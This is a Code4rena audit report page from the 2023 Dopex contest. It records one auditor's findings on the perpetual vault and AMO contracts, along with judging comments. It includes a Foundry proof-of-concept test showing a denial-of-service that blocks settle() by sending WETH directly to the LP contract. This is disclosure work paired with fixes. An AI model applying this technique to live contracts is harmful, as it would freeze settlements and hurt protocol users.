Platform: Code4rena
Start Date: 21/08/2023
Pot Size: $125,000 USDC
Total HM: 26
Participants: 189
Period: 16 days
Judge: GalloDaSballo
Total Solo HM: 3
Id: 278
League: ETH
Rank: 121/189
Findings: 3
Award: $27.02
🌟 Selected for report: 0
🚀 Solo Findings: 0
🌟 Selected for report: klau5
Also found by: 0x3b, 0xCiphky, 0xDING99YA, 0xWaitress, 0xbranded, 0xc0ffEE, 0xklh, 0xsurena, 0xvj, ABA, AkshaySrivastav, Anirruth, Aymen0909, Baki, Blockian, BugzyVonBuggernaut, DanielArmstrong, Evo, GangsOfBrahmin, HChang26, Inspex, Jiamin, Juntao, Kow, Krace, KrisApostolov, LFGSecurity, LokiThe5th, Mike_Bello90, Norah, Nyx, QiuhaoLi, RED-LOTUS-REACH, SBSecurity, Snow24, SpicyMeatball, T1MOH, Tendency, Toshii, Udsen, Yanchuan, __141345__, ak1, asui, auditsea, ayden, bart1e, bin2chen, blutorque, carrotsmuggler, chaduke, chainsnake, circlelooper, clash, codegpt, crunch, degensec, dirk_y, ge6a, gjaldon, grearlake, jasonxiale, juancito, ke1caM, kodyvim, kutugu, ladboy233, lanrebayode77, mahdikarimi, max10afternoon, mert_eren, nirlin, nobody2018, oakcobalt, parsely, peakbolt, pks_, pontifex, ravikiranweb3, rokinot, rvierdiiev, said, savi0ur, sces60107, sh1v, sl1, spidy730, tapir, tnquanghuy0512, ubermensch, visualbits, volodya, wintermute
0.0098 USDC - $0.01
https://github.com/code-423n4/2023-08-dopex/blob/e96aaa5ea21f11b29d828dbe2d0745974cd046ed/contracts/perp-vault/PerpetualAtlanticVaultLP.sol#L201; https://github.com/code-423n4/2023-08-dopex/blob/e96aaa5ea21f11b29d828dbe2d0745974cd046ed/contracts/perp-vault/PerpetualAtlanticVault.sol#L315
An attacker is able to launch a Denial of Service attack on the settle()
function of the PerpetualAtlanticVault.sol
contract.
The settle
will trigger the subtractLoss()
function of the perpetualAtlanticVaultLP
contract, which contains a require
statement that requires the balance of the collateral in the perpetualAtlanticVaultLP
contract to be equal to _totalCollateral - loss
.
function subtractLoss(uint256 loss) public onlyPerpVault { require( collateral.balanceOf(address(this)) == _totalCollateral - loss, "Not enough collateral was sent out" ); _totalCollateral -= loss; }
However, the attacker is able to launch a Denial of Service attack by directly sending some WETH (the collateral
tokens) to the contract and and deliberately inflating the value of collateral.balanceOf(address(this))
, thus causing the require
statement always revert.
function testSettleDoS() public{ weth.mint(address(1), 1 ether); deposit(1 ether, address(1)); vault.purchase(1 ether, address(this)); uint256[] memory ids = new uint256[](1); ids[0] = 0; priceOracle.updateRdpxPrice(0.2 gwei); // initial price * 10 uint256[] memory strikes = new uint256[](1); strikes[0] = 0.015 gwei; skip(86500); // expire // DoS Settle by sending some weth to the vault LP contract mintWeth(1 ether, address(vaultLp)); vault.settle(ids); }
The test case will always revert and return the following message:
Failing tests: Encountered 1 failing test in tests/perp-vault/Unit.t.sol:Unit [FAIL. Reason: Not enough collateral was sent out] testSettleDoS() (gas: 801665)
Recommend reconsidering the restriction of the require
statement and changing it properly.
DoS
#0 - c4-pre-sort
2023-09-09T09:50:44Z
bytes032 marked the issue as duplicate of #619
#1 - c4-pre-sort
2023-09-11T16:14:11Z
bytes032 marked the issue as sufficient quality report
#2 - c4-judge
2023-10-21T07:14:19Z
GalloDaSballo marked the issue as satisfactory
🌟 Selected for report: Vagner
Also found by: 0Kage, 0xCiphky, 0xnev, ABAIKUNANBAEV, Aymen0909, Evo, KmanOfficial, MohammedRizwan, T1MOH, Viktor_Cortess, Yanchuan, ak1, alexzoid, bin2chen, codegpt, hals, ladboy233, mrudenko, nemveer, oakcobalt, peakbolt, pep7siup, qbs, said, savi0ur, tapir, wintermute, zaevlad, zzebra83
7.8372 USDC - $7.84
https://github.com/code-423n4/2023-08-dopex/blob/main/contracts/amo/UniV2LiquidityAmo.sol#L160
When transferring tokens A and B to rdpxV2Core
using the _sendTokensToRdpxV2Core()
method in Uniswap V2 AMO contract, the token balances are not synchronized through IRdpxV2Core(rdpxV2Core).sync();
. This can lead to discrepancies between the token reserves in rdpxV2Core and the actual amounts held.
The _sendTokensToRdpxV2Core()
in Uniswap V2 AMO is missing rdpxV2Core.sync()
, however the sync has been done in Uniswap V3 AMO.
function _sendTokensToRdpxV2Core() internal { uint256 tokenABalance = IERC20WithBurn(addresses.tokenA).balanceOf( address(this) ); uint256 tokenBBalance = IERC20WithBurn(addresses.tokenB).balanceOf( address(this) ); // transfer token A and B from this contract to the rdpxV2Core IERC20WithBurn(addresses.tokenA).safeTransfer( addresses.rdpxV2Core, tokenABalance ); IERC20WithBurn(addresses.tokenB).safeTransfer( addresses.rdpxV2Core, tokenBBalance ); emit LogAssetsTransfered(msg.sender, tokenABalance, tokenBBalance); }
Manual
Recommend adding token sync invocation to avoid data inconsistency:
// sync token balances IRdpxV2Core(rdpxV2Core).sync();
Other
#0 - c4-pre-sort
2023-09-09T03:43:32Z
bytes032 marked the issue as duplicate of #798
#1 - c4-pre-sort
2023-09-09T04:09:41Z
bytes032 marked the issue as duplicate of #269
#2 - c4-pre-sort
2023-09-11T11:58:49Z
bytes032 marked the issue as sufficient quality report
#3 - c4-judge
2023-10-15T18:11:27Z
GalloDaSballo marked the issue as satisfactory
🌟 Selected for report: juancito
Also found by: 0xDING99YA, 0xTiwa, 0xkazim, 0xnev, ABA, ArmedGoose, Aymen0909, Bauchibred, Evo, IceBear, KrisApostolov, MohammedRizwan, Nikki, QiuhaoLi, T1MOH, Toshii, WoolCentaur, Yanchuan, __141345__, asui, bart1e, carrotsmuggler, catellatech, chaduke, codegpt, deadrxsezzz, degensec, dethera, dirk_y, erebus, ether_sky, gjaldon, glcanvas, jasonxiale, josephdara, klau5, kodyvim, ladboy233, lsaudit, minhquanym, parsely, peakbolt, pep7siup, rvierdiiev, said, savi0ur, sces60107, tapir, ubermensch, volodya, zzebra83
19.1724 USDC - $19.17
https://github.com/code-423n4/2023-08-dopex/blob/main/contracts/core/RdpxV2Core.sol#L180 https://github.com/code-423n4/2023-08-dopex/blob/main/contracts/core/RdpxV2Core.sol#L193 https://github.com/code-423n4/2023-08-dopex/blob/main/contracts/core/RdpxV2Core.sol#L455
The following setter functions are missing upper bounds, which may cause unexpected functionalities:
RdpxBurnPercentage
and RdpxFeePercentage
should be less than 100 * precision and the sum of these two values should not be larger than 100 * precision. Exceeded value may cause error in _transfer
function.slippageTolerance
should be less than 100 * precision.Recommend adding upperbound when setting values above to avoid unexpected functionalities.
The slippageTolerance
value is not being used in the UniV2LiquidityAMO contract, as a result, the slippage control relies on the function input, for example, token2AmountOutMin
in swap function.
function setSlippageTolerance( uint256 _slippageTolerance ) external onlyRole(DEFAULT_ADMIN_ROLE) { require( _slippageTolerance > 0, "reLPContract: slippage tolerance must be greater than 0" ); slippageTolerance = _slippageTolerance; }
Recommend removing unused contract component, or complete functionality with slippage control.
https://github.com/code-423n4/2023-08-dopex/blob/main/contracts/core/RdpxV2Core.sol#L378
The privileged function addAMOAddress
is being used to update the amoAddresses
list by DEFAULT_ADMIN_ROLE
.
However, there is no limitation on the duplicate address when adding a new AMO address.
It is recommend to adding duplicate filter when adding new AMO addresses.
The following abstract contract is not being used in the current UniV3LiquidityAMO
contract:
abstract contract OracleLike { function read() external view virtual returns (uint); function uniswapPool() external view virtual returns (address); }
Recommend removing unnecessary code component.
In the contract RdpxDecayingBonds
, the mint function is intended to be invoked by the minter, however, the minter has been checked twice through onlyRole
and require
statement:
function mint( address to, uint256 expiry, uint256 rdpxAmount ) external onlyRole(MINTER_ROLE) { _whenNotPaused(); require(hasRole(MINTER_ROLE, msg.sender), "Caller is not a minter"); uint256 bondId = _mintToken(to); bonds[bondId] = Bond(to, expiry, rdpxAmount); emit BondMinted(to, bondId, expiry, rdpxAmount); }
Recommend removing unnecessary validation for the gas/runtime optimiaztions.
_whenNotPaused
in mint
The mint
function includes the _whenNotPaused
function to halt its operation when the contract is paused. However, this is redundant, as the _beforeTokenTransfer
method already provides this functionality. The following call stack helps clarify the overlap:
mint -> _mintToken -> _mint -> _beforeTokenTransfer
Recommend removing redundant checks to optimize the codebase.
#0 - c4-pre-sort
2023-09-10T11:40:23Z
bytes032 marked the issue as sufficient quality report
#1 - GalloDaSballo
2023-10-10T11:17:49Z
L
L
L
R
L
_whenNotPaused
in mint
R
#2 - c4-judge
2023-10-20T10:21:40Z
GalloDaSballo marked the issue as grade-b